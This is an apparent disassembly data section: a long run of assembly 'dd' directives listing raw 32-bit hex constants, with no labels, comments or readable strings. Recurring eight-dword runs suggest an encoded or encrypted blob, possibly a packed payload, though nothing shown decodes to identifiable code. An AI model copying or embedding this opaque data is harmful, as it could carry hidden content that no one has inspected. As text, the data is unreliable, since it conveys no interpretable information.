dd 0CCD7E337h, 405EDDF6h, 45FD800Dh, 0A1B8F66Dh, 85FD95D8h
dd 70D5102Eh, 4E3D154Dh, 0E5A9C468h, 6FB4664Dh, 6AFD842Ch
dd 584EB08h, 0F4CF466Dh, 476FDA25h, 645E576Dh, 85046B98h
dd 0F27317EDh, 167ED08Bh, 6CDC356Dh, 588DD38h, 9EA8F86Dh
dd 0B6FD95D8h, 3DE03864h, 743D5538h, 0A6C31DF3h, 0FA22554Dh
dd 0A5E8A1B8h, 5A55548Dh, 25C9F162h, 0C276D5CDh, 661DDFB9h
dd 0D53D7DCEh, 2014FDEDh, 53D601Dh, 0E5B4FB45h, 0BABDFF8Dh
dd 6528BDF8h, 8A3D50CDh, 9AA34429h, 70B082F2h, 0A5DDE5EDh
dd 71C4BAC6h, 64DD3527h, 5AD9560h, 0A688F86Dh, 76FD95DFh
dd 0E6BF4A08h, 39B635E1h, 65AEFD87h, 38E8D814h, 16DD7537h
dd 0CC411E26h, 62E3653Ah, 869582D1h, 9A5DB4ADh, 85084598h
dd 855976EDh, 817295C8h, 1A22CB8Fh, 2FBDFF1Ah, 211D1D6Ch
dd 859555CDh, 9A5DB4ADh, 85084598h, 0AA5D70EDh, 0FA83D0C9h
dd 0B5DD5FD2h, 41BD95E5h, 0E41D1F6Dh, 0EFAAD925h, 6435E5ACh
dd 3A3D140Dh, 0E5A8A578h, 5773D4Dh, 7022352Ch, 45FDA0DDh
dd 251D7085h, 7BA93CCDh, 65374A52h, 0AF37F654h, 19080AE7h
dd 0EE7D1578h, 585EF6DCh, 45FDA0FDh, 12997A6Dh, 6D022A33h
dd 655DB5ABh, 89794143h, 3062F5A1h, 53D60C5h, 0F2AE80A0h
dd 8C8E95CDh, 10CDC8E0h, 8E4CD58Dh, 671B5D3Eh, 78BE150Dh
dd 0A5DDC015h, 6F95A4Dh, 6E22CAD3h, 5884108h, 246D8A6Dh
dd 0B6685042h, 0E0D6B5EDh, 0C57D20E5h, 2A9C8512h, 454EB7C8h
dd 3D58BE2Dh, 0BABDD5B8h, 0A092741Dh, 85BDE624h, 50813826h
dd 0CCDE154Dh, 2A9C8412h, 454EA3C8h, 182FDD2Dh, 0F8306A72h
dd 255D4323h, 85971A46h, 15A26C5Bh, 0C6DC9609h, 5C9EB587h
dd 6F7D3F1Ah, 7A68B835h, 0FCBDD598h, 251D7571h, 81700146h
dd 9AA24BE0h, 489673F2h, 0A59DB8E9h, 0AE1B554Dh, 4ED972A0h
dd 231171BFh, 4FE697C6h, 0EC33BDCDh, 0A9D6B5ADh, 1B61567h
dd 0A5F5F587h, 6F75554Dh, 8F8F646Dh, 0D042C583h, 255D408Dh
dd 0C5395695h, 65347BC5h, 0AFE99E0Dh, 0CF517EEDh, 6F7D3F0Dh
dd 0E5B7672Fh, 45D45BE5h, 741D1F6Dh, 7AAD2AA7h, 25685138h
dd 40644A0Dh, 8219FA12h, 8882AAB0h, 0A5CD3598h, 4FC92C8Dh
dd 0CA96756Dh, 687C703Eh, 651DA5ADh, 0D1719080h, 4562F5ADh
dd 1D9DC0C0h, 1A8F356Dh, 5880918h, 250B9D6Dh, 0EAB1D5CDh
dd 1528DEC2h, 0B354675Dh, 0C2F89984h, 691C0328h, 0E59C5058h
dd 0D286ADDh, 0AC1D3558h, 0C5C89948h, 0F09E5ADh, 3AC27F2Dh
dd 0E5A81978h, 5ABDD04Dh, 8F4B0A58h, 0CEEBC38Fh, 771C1FB9h
dd 85FDC425h, 2138E6ADh, 0A2487768h, 0D3F487BDh, 62183924h
dd 1A8B3548h, 588D918h, 73D9FE6Dh, 0D3AD839Bh, 0B5C84AFAh
dd 463D5538h, 5ACAE529h, 454869D8h, 8FDD5F2Dh, 35286A8Fh
dd 9C1D3558h, 85FDD4E5h, 0ECBC9E3Ah, 92693101h, 90316012h
dd 0F34E550Dh, 0D3E190AEh, 11BD95CDh, 95888A3Ah, 0FD95F8h
dd 2301C16Dh, 0B739EB8Eh, 81E90A03h, 6F7D3F45h, 4D48CA07h
dd 0C0BDD5B8h, 0B6C101ADh, 85F9E825h, 0F49486ADh, 400425EEh
dd 0A5DDC3D1h, 0C4FC7D38h, 0E5DD3883h, 13EDC1DDh, 764D253Ch
dd 0B0954032h, 0A5D8B5EDh, 3A326154h, 2A95D199h, 454B69C8h
dd 1871DD2Dh, 0BAEE6A72h, 652849F8h, 4653ECDh, 655C9D69h
dd 50C2420Dh, 0A5DDC0D1h, 0FA86B0A4h, 0E594B8D2h, 45E5CDD5h
dd 251D5CA3h, 85FDD8A8h, 655DB5ACh, 0C53D150Dh, 0A59DF5EDh
dd 0FA2E031Ch, 0A5E87DB8h, 0E9E43E8Dh, 0DE68B5E9h, 0D93E3B2Fh
dd 2ED4EFh, 0A0507443h, 0CFFFBA89h, 76093628h, 0D7EE6271h
dd 37D4C3D2h, 491D0019h, 0E98FA1BEh, 265DDBC8h, 0B15C707Fh
dd 0C9F4B388h, 467D1428h, 91BC505Fh, 29D4D3E8h, 557C3808h
dd 0E293BCBDh, 171EB5ECh, 0A0497468h, 0C6F287BDh, 440E2628h
dd 80AF762Dh, 17D8E1ECh, 51721808h, 0F79581A8h, 6539D4C8h
dd 0A458674Eh, 0CDC99099h, 611C303Fh, 80AF762Dh, 11D8E1ECh
dd 4D711A02h, 0B68DB9A8h, 433E69Fh, 0AA55667Dh, 0DDD8F599h
dd 6D292124h, 81BC505Fh, 29D4D38Dh, 48742108h, 0D69281A8h
dd 29C6D4h, 0A8544160h, 0C0DAF588h, 69141339h, 91A97448h
dd 30DFFCFFh, 646E1019h, 0F19892CDh, 31DCEBh, 0A0477C5Eh
dd 0D1F8B2EDh, 60113C0Bh, 80B05C79h, 31D8D28Dh, 50791A20h
dd 0E4B5B0A1h, 31D1C3h, 0A07A154Ch, 0C8F8A199h, 6914133Dh
dd 88BC7B48h, 2BDD4E8h, 40490108h, 0E4ADA5A0h, 651CDDD9h
dd 9349704Ah, 0CCEE8788h, 427D3B22h, 808B4148h, 2AD4E6FFh
dd 64653003h, 0E49299CDh, 734F9C9h, 0BC4F747Fh, 0C4D0F5ACh
dd 6014033Dh, 0A3BB7A5Ah, 45D8F9E4h, 4B780522h, 0E091BC8Bh
dd 152DD4E0h, 845A7B64h, 0C0EDBAEDh, 6A0F0523h, 96AE504Eh
dd 2ACFC58Dh, 566E100Eh, 0ECBBE7FEh, 6529C6DFh, 0A652675Dh
dd 96EE8688h, 7D181B7Fh, 808E3559h, 29D4D3F9h, 51693408h
dd 0F09FBCBFh, 242ED0D9h, 0B158460Dh, 0C0F19CABh, 60103C19h
dd 80B1662Dh, 16BDE5E8h, 40690614h, 0E89481A0h, 2332E1C8h
dd 91587964h, 0A5F89884h, 64103B18h, 80B4635Dh, 3DBDAFAh
dd 25781904h, 0F18FBC9Bh, 2431D4D8h, 0A6527961h, 0CCEFA2EDh
dd 6C3B3039h, 0ABDD5041h, 2FD9D4F9h, 75690618h, 0EC8BBCBFh
dd 3AD0C1h, 0AE52417Eh, 0EB9D9B88h, 600F1639h, 0A3B8414Ch
dd 45D8F9E4h, 575E0123h, 0E089B4A8h, 632C7FDh, 0C54E6668h
dd 0D7DE81A3h, 60093428h, 86B2477Dh, 0CEE6E8h, 51537515h
dd 0E498A78Eh, 0ED0D9h, 0AA54616Eh, 0D1D3F583h, 530D3400h
dd 0AAAA5044h, 26D8C6EBh, 4B721C19h, 0CA899BCDh, 2333D0DDh
dd 0C5587964h, 0D5D281A3h, 772D3B28h, 96B85642h, 2ED2C1FEh
dd 6B1D1B08h, 0EA8F85B9h
dd 113ED0D9h, 0B14F7C5Bh, 0E8F19498h, 77123828h, 91933554h
dd 31D4E7DAh, 57742308h, 0E99CA0B9h, 0A30D0E0h, 973D6C7Fh
dd 0CBC89999h, 61123624h, 97A96648h, 11DAFBE4h, 56733402h
dd 0F78986A4h, 653ADBC4h, 967C465Ah, 0D1EF9499h, 667D2538h
dd 80AE5A41h, 2EDEFAFEh, 461D0108h, 0E093BBA2h, 25DC1CEh
dd 0AA556168h, 0DCFF819Eh, 60103423h, 86B8472Dh, 20CE95FBh
dd 561D1103h, 0E096B6A2h, 0B14B5D9h, 0AB4F7079h, 0C9DE8188h
dd 4D182622h, 89B95B4Ch, 2BF495E8h, 4B6F1019h, 0E0BAA1A8h
dd 0B32F6D9h, 0B15E7063h, 0D1CE9188h, 518212Ch, 80A95B64h
dd 31D8FBFFh, 4B780522h, 0EBB4D58Ch, 0B2FD0D9h, 0B5726168h
dd 0D7C89B88h, 4C7D1421h, 97B84143h, 17C9F0E3h, 63791408h
dd 8598B9A4h, 240BF1ECh, 0F70E5C5Dh, 0E9D1B1C3h, 6218074Dh
dd 96B2596Eh, 3CD8DEE8h, 4278276Dh, 0EB98A582h, 2024D0E6h
dd 973D5475h, 0D0CC9288h, 53042728h, 80A8594Ch, 45FCEDC8h
dd 767A103Fh, 0E4ABA1A8h, 2038C0C1h, 463D5475h, 6DB6F004h
dd 57D3D1Ch, 0A950DD2Dh, 45D796A9h, 754C7007h, 0EF8BF9Eh
dd 0B1D6E561h, 8557415Dh, 5ACEA7BCh, 4548A5D8h, 0E919B62Dh
dd 70490072h, 0E19E752Dh, 8AA16C5h, 25480428h, 95C2260Dh
dd 0ABF7F587h, 30D9C0B2h, 2558356Dh, 452D1182h, 4D4D756Dh
dd 85FDBC03h, 65376126h, 8557D986h, 0B59DF585h, 577F3F4Dh
dd 2BB53547h, 2FBD95E4h, 754E246Dh, 0B0194032h, 3C02B5EDh
dd 0F00180F2h, 5A18F5ADh, 88F60939h, 0E59D20A5h, 0D030996Eh
dd 255D656Dh, 0D6AA04CEh, 0E0D66752h, 0C57D20D9h, 86097A60h
dd 5195554Dh, 6E22CAD2h, 5887D08h, 0C492F86Dh, 6DFDD5EEh
dd 9AA24AEEh, 0F0E59086h, 2A10F5ADh, 57D76A5h, 1A2207C5h
dd 99381E72h, 0A01D3558h, 8F6A10Dh, 657E4022h, 3A20FD0Dh
dd 62160A12h, 0ED289612h, 0E5DD352Dh, 515014D0h, 161D3577h
dd 2B785804h, 345DF5B0h, 956C4459h, 3062A4BCh, 53D6021h
dd 1AF931AAh, 588A918h, 21DF286Dh, 851580CDh, 385DB5ADh
dd 0DF7EF88Ch, 5AF7F5ADh, 1F73C0C0h, 0B78D356Dh, 4599B540h
dd 0E19E7547h, 3AB3C1h, 651DAFF9h, 40FA35C0h, 0A5DDEFBBh
dd 5575569h, 0E4B7F670h, 764294E7h, 0DA190692h, 0F13D50D8h
dd 6556DD5Dh, 15B6150Dh, 99CDF6B6h, 1F0FE0C0h, 5F56356Dh
dd 45BD9481h, 2415FFE6h, 7DFED5CDh, 0EE3D7E86h, 0A49BE6C6h
dd 47DAF099h, 86BFBEB8h, 6E8A3AEAh, 8936C659h, 6577213Dh
dd 7A97879Ch, 50AD2052h, 1BE154Dh, 0D1087EE1h, 2E7D1578h
dd 0E237B6FAh, 45D7924Ah, 72947585h, 9F9716CEh, 65545DF5h
dd 87B0150Dh, 6C635F8Ch, 6CBEA538h, 0A5EB73B8h, 4D39908Dh
dd 0B0943765h, 85BDE38Bh, 309E575Ah, 0C53D15E5h, 481CA8EDh
dd 53D4E44h, 0D397A8A6h, 393E95CDh, 2A1D7D49h, 85FD6C49h
dd 6DB134ADh, 913D150Fh, 0A59CF185h, 95E8AA4Dh, 6EDD7518h
dd 61391871h, 251D7469h, 6DFDBF9Dh, 655DB5A9h, 0C569475Bh
dd 29080ABAh, 367D1578h, 0E14AB8E4h, 14BD958Ch, 741F1F3Ch
dd 8595D4A7h, 371DB5ADh, 0F06180F2h, 200BF5ADh, 552621BBh
dd 0E4D95D79h, 0BAEA958Dh, 273D51D9h, 1002D5CDh, 651D8385h
dd 0B1FD9054h, 0F58916FBh, 51781C6h, 0B38A647Fh, 70710072h
dd 0A044752Dh, 0D32DA00Dh, 50612052h, 92B0154Dh, 0CFCAA7A9h
dd 92F00D09h, 0E5DD3429h, 2F7DA626h, 8EEE2C7Dh, 0D5AD859Dh
dd 370DE5FDh, 0F05980F2h, 611CF5ADh, 57D5745h, 0EDF941D2h
dd 73A50072h, 0DA4E752Dh, 0C5CBCD58h, 619FE8ADh, 0CF03950Dh
dd 2EDBF498h, 4568D1C0h, 68C4D62Dh, 5AD9518h, 73CC766Dh
dd 45790732h, 64423DA2h, 4132150Dh, 0A59DF4FDh, 70476BCDh
dd 0DB5D733Dh, 44399A8Dh, 0A51D756Ch, 7488F5F3h, 356334EBh
dd 0B07A5B44h, 63527EAFh, 2E32540Bh, 0E5B764E3h, 0BAEEC3DCh
dd 652B65F8h, 44C68CCDh, 658230A2h, 40B0150Dh, 0A5DDE84Fh
dd 9155527h, 0B5DD352Dh, 55286ADEh, 181D355Bh, 85FDD5C1h
dd 65E230A2h, 74D4150Dh, 249DF5EDh, 4C2F0573h, 40583A7Bh
dd 0C6BD958Dh, 19B17DABh, 1C79DAC0h, 595DB5ADh, 69CE602Dh
dd 2092CFD1h, 57D55C1h, 0C5FD3880h, 6480B5ADh, 5069100Ah
dd 0A5C179B2h, 1BDCC9D8h, 0B15535F2h, 24EC8099h, 3F0D5633h
dd 8DA81A02h, 4542D24Bh, 35A74462h, 72FDD5EAh, 0F0A2E74Fh
dd 0C57D20B1h, 0F5CD35DEh, 0C95051Dh, 0A1DD352Dh, 29D3E2E2h
dd 25791402h, 0B3DD4032h, 0A5D8B5EDh, 0C0E2379h, 93D77064h
dd 6D2C550Dh, 65DD372Dh, 15EBC4DCh, 1339E092h, 1070D58Dh
dd 651DAEAEh, 91F4265Dh, 0F4CFA5BCh, 69E8AA1Ch, 62DD7518h
dd 0D042B189h, 255D4051h, 87D1635h, 651DA0DAh, 96FEEC0Ch
dd 0F2C9B3A2h, 5938070Ch, 97BE5C60h, 23D2E6E2h, 4C4A2919h
dd 0F292B1A3h, 101EE9DEh, 0AB58677Fh, 0D7F8A399h, 6B123C3Eh
dd 95A57071h, 20CFFAE1h, 4449751Fh, 0F198B2BFh, 112EDAE5h
dd 3A3D170Dh, 2AEFA01Dh, 6A0F259Dh, 0CBB05C55h, 22DEE7E4h
dd 5D7C190Ch, 0E98DFBB4h, 2614FBADh, 0AF5C3546h, 0DDFB819Ah
dd 5077362Fh, 0C58F707Eh, 758FA5E7h, 52C4558h, 0A5D3F5E3h
dd 2A179897h, 0E31D5B44h, 0D1EF9C9Bh, 0ED285F38h, 0E5DD352Dh
dd 0F15014D0h, 0E31D3570h, 0C5E8A248h, 0F0A2B5ADh, 0C57D2099h
dd 0D1821D2Ch, 8E633F71h, 0A5E86598h, 7911CC8Dh, 43370043h
dd 9802EB4Ch, 0D8D096D8h, 0C57D234Dh, 0F29F8366h, 88D833E8h
dd 0A5EE5FA8h, 0D5381A8Dh, 0DF1D355Eh, 9079344h, 0D4A64BE3h
dd 2EF2F70Ch, 141878AEh, 557D1558h, 0EBB73547h, 70190072h
dd 599E752Dh, 0F0F9DDE9h, 65595D86h, 836E150Dh, 3062F5AEh
dd 53D60C5h, 1A217DC5h, 45BA7D72h, 634E756Dh, 0D6B28A8Eh
dd 0EDC84AADh, 2D3D5538h, 5A6209DCh, 0FA8E03A5h, 0E650CAD2h
dd 0ADBDD59Eh, 251D7566h, 0D7B88698h, 2173879Eh, 3A3D5941h
dd 0E5A86978h, 577BD4Dh, 96AA352Dh, 2BD4E7FDh, 255C1319h
dd 0CD682A9Dh, 0EC5DF598h, 85084188h, 28ACFAEDh, 4565B5C0h
dd 0A358BC2Dh, 14BDD5BBh, 1081E092h, 0ED6ED58Dh, 655DB5A9h
dd 0DDD0A080h, 28C4F5ADh, 454B79F0h, 130BDD2Dh, 82DB6A72h
dd 650012E8h, 60D2ACDh, 2540DC08h, 50B0150Dh, 0A5DDE8CAh
dd 417011Dh, 8D8F3547h, 0C5BD958Fh, 132DE092h, 4578D58Dh
dd 0E87FC0F7h, 85204F80h, 0A3F7A7EDh, 181AE0C0h, 0B389356Dh
dd 17ECC5DDh, 1329E092h, 7AA5D58Dh, 256B9938h, 88B8D30Dh
dd 0A59DB5D5h, 57D59A5h, 0AA8E622Dh, 778EDECEh, 69513143h
dd 19682ACDh, 0F65DF598h, 0C53D1265h, 0E12878EDh, 5C7D1555h
dd 0D02188A0h, 145595CDh, 0CDE28A9Bh, 85FDD5C1h, 2C13FCFAh
dd 0EB695043h, 0A5D1B9A9h, 30E1C0B2h, 2558356Dh, 445A1182h
dd 4D8E756Dh, 85FDD5C8h, 7DDF0020h, 4864154Dh, 0E5ABED50h
dd 0F367BD4Dh, 585ECAD2h, 45FDA391h, 0E7997A6Dh, 4FDD5CCh
dd 655C2541h, 0C455410Dh, 5A9DF5ECh, 4548A9D8h, 7519B42Dh
dd 15BD958Ch, 2577A1E6h, 99682A9Fh, 0E05DF59Bh, 0C8484CCDh
dd 0A58E7D85h, 0B9E8AA4Dh, 0EDD7518h, 2C00166Fh, 251D3570h
dd 70FCB8h, 651DA8C0h, 0CDA8EA5Dh, 209DB5DBh, 3EF95A8Dh
dd 6EDD352Ch, 453699CDh, 0A0924592h, 85BDC8A4h, 5D10306Bh
dd 0AF3C154Dh, 0CF9C9FEDh, 11E8AA4Fh, 66DD751Bh, 0C1B26A75h
dd 251D747Fh, 0E068585Eh
dd 0F5DF5B0h, 3A6E471Dh, 0E5ABF178h, 0ABDD04Dh, 0E5DDC7A8h
dd 0C300188Dh, 941D3570h, 7F413DC5h, 0F1354A52h, 9B3D150Dh
dd 911413C6h, 90820169h, 0E59D00B5h, 58292800h, 24AC752Dh
dd 7A074825h, 41193E52h, 0CDDDD41Dh, 0A1B9B1E6h, 0E75B58Ch
dd 0B5D51169h, 45BD9065h, 1333506Dh, 7AAAD5B5h, 2568E138h
dd 0C9F9960Dh, 859BB22Bh, 18FCC0C0h, 0E5B7356Dh, 45BDB4E5h
dd 0DA4E276Dh, 0C5CBC558h, 412138ADh, 50C24219h, 0A5DDC0B5h
dd 0F45518Bh, 0B5DD5F6Dh, 0D042C6DAh, 255D437Dh, 387033CEh
dd 651DA80Fh, 0C9551567h, 0F29DF5EDh, 15E8AA1Eh, 0D8DD751Bh
dd 45BD9581h, 90903818h, 85BDE383h, 5D103820h, 0B16154Dh
dd 0F3CCF587h, 9E8AA1Eh, 66DD751Bh, 6AC39575h, 0A8E3FEFCh
dd 0C5CB9B78h, 975005ADh, 0A52D60A3h, 5A670D05h, 120F34B2h
dd 92503CCEh, 0CE577E8Ch, 0A8D35EA2h, 0C5CB9B70h, 0E2F946ADh
dd 9684FEFAh, 939D6012h, 0B8FD550Dh, 0E59D205Ah, 2D97E18Ch
dd 251D005Dh, 0B0414032h, 0D8DDB5EDh, 0C57D2D40h, 628C81EDh
dd 45603CC8h, 0E5DD352Dh, 838538Dh, 251D3555h, 7A038324h
dd 0E5D87252h, 0C53D5518h, 0F81DF5EDh, 87D518Fh, 8BFD7A27h
dd 65D3FAE2h, 493D1302h, 0A498B3A4h, 117DFA8Dh, 0E5587864h
dd 0C6BD9A99h, 67183928h, 80A9545Fh, 65B798ACh, 53D554Dh
dd 0F08EF582h, 1738D8C0h, 0B75C722Dh, 84F39089h, 602F5F40h
dd 91B35041h, 36CEF0E1h, 4D3D0C01h, 0FC8DA5ACh, 133D48Dh
dd 0B545702Dh, 0C4E99688h, 25512123h, 8BBC415Eh, 22D3FCE9h
dd 28305557h, 0F19C82C7h, 0B34DDCEh, 0A95C356Ah, 0C4F9D581h
dd 6B1C7534h, 8CB31549h, 69C9FDEAh, 5772134Dh, 0EC8FB3EDh
dd 1639DBC8h, 0B21D5C2Dh, 9FE99C8Ch, 6D2A5F40h, 0C5B84748h
dd 65D8E7ECh, 9681A14h, 0EC8FB3EDh, 1639DBC8h, 0AA7E3532h
dd 85BC9080h, 6C5D2104h, 8CA9155Eh, 659CF0E0h, 563A0124h
dd 0F19CB9EDh, 6F5094C8h, 0EACB0A78h, 0B53BE1C4h, 454A0705h
dd 0AA094CC0h, 757A1189h, 45738C07h, 0A24C2F28h, 90FDDC21h
dd 0FF964C5Ah, 0C70458AAh, 1F0E9433h, 27B1F971h, 551B819Eh
dd 0FDA5C63Fh, 85FDD5CDh, 655DB5ADh, 0C53D150Dh, 0A59DF5EDh
dd 57D554Dh, 0E5DD352Dh, 45BD958Dh, 251D756Dh, 85FDD5CDh
dd 655DB5ADh, 0C53D150Dh, 0A59DF5EDh, 57D554Dh, 0E5DD352Dh
dd 45BD958Dh, 251D756Dh, 85FDD5CDh, 655DB5ADh, 6398966Dh
dd 0A59DB5D4h, 3CD7F0CEh, 0EADD356Dh, 0C8A9D63Ah, 92126D3Eh
dd 55FED386h, 4179F126h, 0B7315726h, 0ADDFCEF4h, 47F6413Eh
dd 0E99F1E39h, 7C1B0004h, 0A094752Dh, 85BDEC67h, 0A7DEB046h
dd 0A4E4F725h, 2D9DF12Fh, 455FA2C8h, 0E5B9DD2Dh, 5AD5958Dh
dd 0A81D756Dh, 0C5DFF148h, 7D64ECADh, 5BE1979h, 5A6A17E9h
dd 4544DBC8h, 3C2AF62Dh, 674A188Eh, 35FE752Dh, 0A01A532h
dd 61B536ADh, 58B4E3EFh, 0A5DDD7C9h, 717D6FCEh, 0E6EF1E28h
dd 0B3085FFh, 7B462D91h, 0F1FDEF4Eh, 8E6F4AA9h, 0D54FEA0Eh
dd 5A62A205h, 2EB37EB2h, 0A5E49FA0h, 0EBECD8Dh, 0A092B659h
dd 85BDEC5Fh, 5CD3306Ah, 0C53D154Dh, 9975F5EDh, 8E7D554Dh
dd 0A5E4BBA8h, 0B2C87D8Dh, 3DF58A92h, 6FDD5CDh, 25643B10h
dd 0CD48150Dh, 873D6864h, 9996550Dh, 0DC53B8D2h, 0CA7E95CDh
dd 6524E7E8h, 0B685CCDh, 8D5DF594h, 0C53D150Eh, 2E5E3CDEh
dd 57DD5DEh, 835672Dh, 46426A73h, 6524DFF8h, 62BD6CDh
dd 6A5DB9D7h, 0C53C1289h, 0B5E776EDh, 0F8F95A4Dh, 6EDD352Dh
dd 0ADED99CFh, 0DAE28BA5h, 0BC5750CEh, 0A35EB5EDh, 45359F5Dh
dd 0BCE9F514h, 7153ACCDh, 1436752Eh, 0C4BCDD06h, 0FAC2AA8Ch
dd 0C1045412h, 105DF9E1h, 0D164CE1h, 0AA670C6Eh, 57DE2C2h
dd 9D5C532Dh, 4A8FA673h, 251DDEE8h, 0BF7E83CDh, 0EE58C0ADh
dd 0C7D60547h, 549EFF66h, 0FB0FBD1Ch, 50DECAD2h, 45FDAC27h
dd 5DDDF0C0h, 179DA36h, 9A5DB5ADh, 8504BFB8h, 0F075A5EDh
dd 682AAB3h, 0A5E49FA8h, 0EF381A8Dh, 261D3554h, 6AEF1C9h
dd 0BE6EB76Dh, 2635A302h, 855475FFh, 2159941Eh, 0C1C11C29h
dd 1E9999A4h, 0A4F49E2Dh, 3E2ADA36h, 0E463C170h, 0AB78BDF6h
dd 24AB8136h, 0A4460CB6h, 64F341D2h, 0F09F4376h, 0A43B01C1h
dd 0DD144636h, 0E443C15Eh, 9DD468F6h, 248B811Eh, 204213B6h
dd 64D341CCh, 6082A576h, 0DA1B018Ch, 0C5C44758h, 14B4EEADh
dd 9BC2EAF2h, 4C89376Eh, 0FA82ABA2h, 0E1B735EEh, 0B3A87DD5h
dd 0B0958A92h, 85BDF11Ch, 7D6C0DCBh, 21FDF70Fh, 0C37FF7EEh
dd 5D7B3FE6h, 1A28CFC5h, 4D7F1672h, 2077A4EAh, 70103D95h
dd 9FDD4A52h, 7536660Eh, 7418F7BDh, 0AF7D1569h, 8DB712C6h
dd 0BF3D3FD5h, 9505006Eh, 70303DDCh, 64E54A52h, 413D150Dh
dd 7490813Fh, 0EEB7ABADh, 5DD8DEDBh, 0C5BD958Dh, 0E6A297C6h
dd 0B1C16840h, 0E0AAB5EDh, 0C57D213Ch, 259DF5EDh, 65CD5639h
dd 0D458C287h, 46BDD5B9h, 2A1C756Dh, 85FD2349h, 0EE080DADh
dd 6E96FDE1h, 9C0B4864h, 0EDCD550Dh, 602A9E87h, 45FDA1BCh
dd 241D756Dh, 0BC676844h, 2E29B5EDh, 0F10C90FAh, 0A59DF5ADh
dd 62C5574Dh, 90EBCA49h, 21DA2D88h, 43B65BE6h, 0E3FDD575h
dd 0D55EC106h, 40CABF50h, 0A5DDC1DCh, 0D7D554Dh, 0EDB0B895h
dd 0B2ABE08Dh, 652944E8h, 85FDD5CDh, 0A0DE0DA9h, 0C0491505h
dd 5D707655h, 0F232FE4Dh, 0A5E904A8h, 45BD968Dh, 9519016Dh
dd 0E567F24h, 25642328h, 0EEF29E0Dh, 59D57C25h, 314CD0BAh
dd 0E5DE356Dh, 1AC9958Dh, 0DA7912D5h, 1B405CFBh, 0CE5DF594h
dd 0A23D15B5h, 2C255E89h, 0AE7D556Bh, 1A2388C5h, 0AD9D2572h
dd 0DAE289A2h, 3D9BEC2Eh, 0CE3BA052h, 50B6BE9Ch, 0A5DDC1DCh
dd 0C78A87BAh, 0E5DD352Eh, 0D25581F8h, 95E28A93h, 79543DD2h
dd 0DD3B4A52h, 6E5B00F2h, 6A165E7Ch, 3CE3D0C6h, 2DF6356Dh
dd 0B241DD04h, 652944E8h, 85FDD1CDh, 0DD4FC1ADh, 0DC3D524h
dd 65954D46h, 0BDD65139h, 8236CD58h, 74386226h, 2D1D3559h
dd 0F0FDD5CDh, 4AE035E7h, 0C53D5539h, 8C25B499h, 0FB47C55h
dd 0A5E91E88h, 4659558Dh, 1136D067h, 3556D58Dh, 0E0D71F1Ch
dd 0C57D2122h, 0AFDD4547h, 45497EC8h, 5DBB9F2Dh, 0C04A686Fh
dd 255D415Ch, 85FDD5DDh, 2CEDB2D9h, 0B08573A7h, 15369311h
dd 0C54EFFA5h, 6760BC86h, 0B2BDD5B4h, 652944E8h, 85FDF5CDh
dd 0D554C0ADh, 0ECB81F55h, 0F9DB5D9h, 0C5FCED2Bh, 0D1ECB0DAh
dd 45FD95CDh, 2669756Dh, 8FD5114Dh, 25699C08h, 4C96730Dh
dd 0E5A47350h, 808AFE4Dh, 0E59D011Ch, 5BD958Dh, 75AD7C18h
dd 0B1D450CFh, 92F7B5EDh, 85092488h, 0A59D75EDh, 0B576204Dh
dd 0CF583F95h, 0EFBDD5B9h, 9D7B4886h, 0ACDFCh, 651D819Ch
dd 0C53D140Dh, 8C2DF799h, 3157F047h, 11D356Dh, 6F189F8Eh
dd 431D3559h, 445B366h, 54D8425Dh, 0C53D5539h, 0D09DF5EFh
dd 0FB5E14Fh, 0A5E91F88h, 0CC16F38Dh, 6524D7D0h, 0A1C16DCDh
dd 92F6B5ADh, 85092488h, 0A59DFDEDh, 0F211214Dh, 0A5E904A8h
dd 45B9958Dh, 9516006Dh, 0AE78DF75h, 0CF5DF599h, 40CA58E6h
dd 0A5DDC1DCh, 57D5D4Dh, 5DBB2458h, 0E0B7750Eh, 255D4146h
dd 45CE7EABh, 3485E07h, 0CF253CB5h, 0E5A9DE48h, 699954Dh
dd 0D1F69027h, 0EEDB95CDh, 112CF09Ah, 95FDD58Dh, 0DD3BB5ADh
dd 0C649D58Ch, 0AF95316Dh, 45497EE8h, 0EA76532Dh, 7192103Bh
dd 0D2B6752Dh, 0C5C9E448h
dd 655DB5ADh, 7534614Dh, 8C18F7BDh, 0AF7D1579h, 0D1ECB0DAh
dd 65BD95CDh, 0A3AD756Dh, 81F9D7B8h, 0EFA3FA20h, 85093CA8h
dd 2F107CEDh, 637D1574h, 0E021B586h, 450D92F8h, 65E23AEDh
dd 0B4782267h, 655DF599h, 0A33D154Dh, 0D0AC9355h, 6354E14Fh
dd 0EFC58586h, 589BE08h, 26FDB56Dh, 72756567h, 25698428h
dd 0C5BD150Dh, 159F80EDh, 2CD8DFCBh, 83DD7519h, 40411526h
dd 25AD7218h, 0C5029A4Dh, 54D84207h, 0C53D5539h, 0D09DF4EDh
dd 0F3DE546h, 0A5E91CA8h, 4A563F8Dh, 0E59ECD0Bh, 0B1D470C7h
dd 0CE3BB5EDh, 329714BDh, 0E5A9C468h, 77D554Dh, 12F2402Dh
dd 589A408h, 211D756Dh, 35E7A0CDh, 4ED8BF6Dh, 4F3D5539h
dd 0E5A9C548h, 159D944Dh, 64BB8D4Bh, 0AEBD2526h, 2F5DC565h
dd 0C5C9FE48h, 0E0AA1FADh, 0C57D213Ch, 0A595F5EDh, 0BD1B4538h
dd 40D7DDAEh, 45FDA1A7h, 24ADDE0Bh, 0CD4DDD26h, 517730A7h
dd 3297154Dh, 0E5A9C468h, 157D554Dh, 90A8842Dh, 0C605F3A8h
dd 0FB87F95h, 0E3FD95F9h, 0CF9D8606h, 0FCB7A824h, 206AF5ADh
dd 53D617Ch, 0E5FD352Dh, 320C8AF8h, 9D7B6E86h, 20F7CDC4h
dd 651D8187h, 0CF3EF1CDh, 0E5A9DF48h, 2CD6334Dh, 0A5E4BF90h
dd 0CF7C1F8Dh, 6524FFC8h, 3556B3CDh, 4CD8B7F5h, 6F3D5539h
dd 91AC701Ah, 57E550Dh, 61D2342Dh, 45BD950Ah, 0AE7912D5h
dd 0B4705EEBh, 0E45DF599h, 0C53D15FCh, 0A55C02EFh, 707E554Dh
dd 81BA8D28h, 0FD16BB0Ah, 251D756Dh, 83887EABh, 80D60DCBh
dd 0A185BE6Bh, 0E9B7A8Ah, 0AE1B957Eh, 0D1ECB0DAh, 45BD95CDh
dd 6568746Dh, 0B1CC503Ah, 655DB5EDh, 0E3491D0Dh, 0C9104D8Bh
dd 314CD0BAh, 0E5DD356Dh, 0D0B2978Dh, 43FC7FACh, 0F0345166h
dd 41E5D3A5h, 2E967309h, 0F9545FEh, 0BD1B5BA6h, 60DF6875h
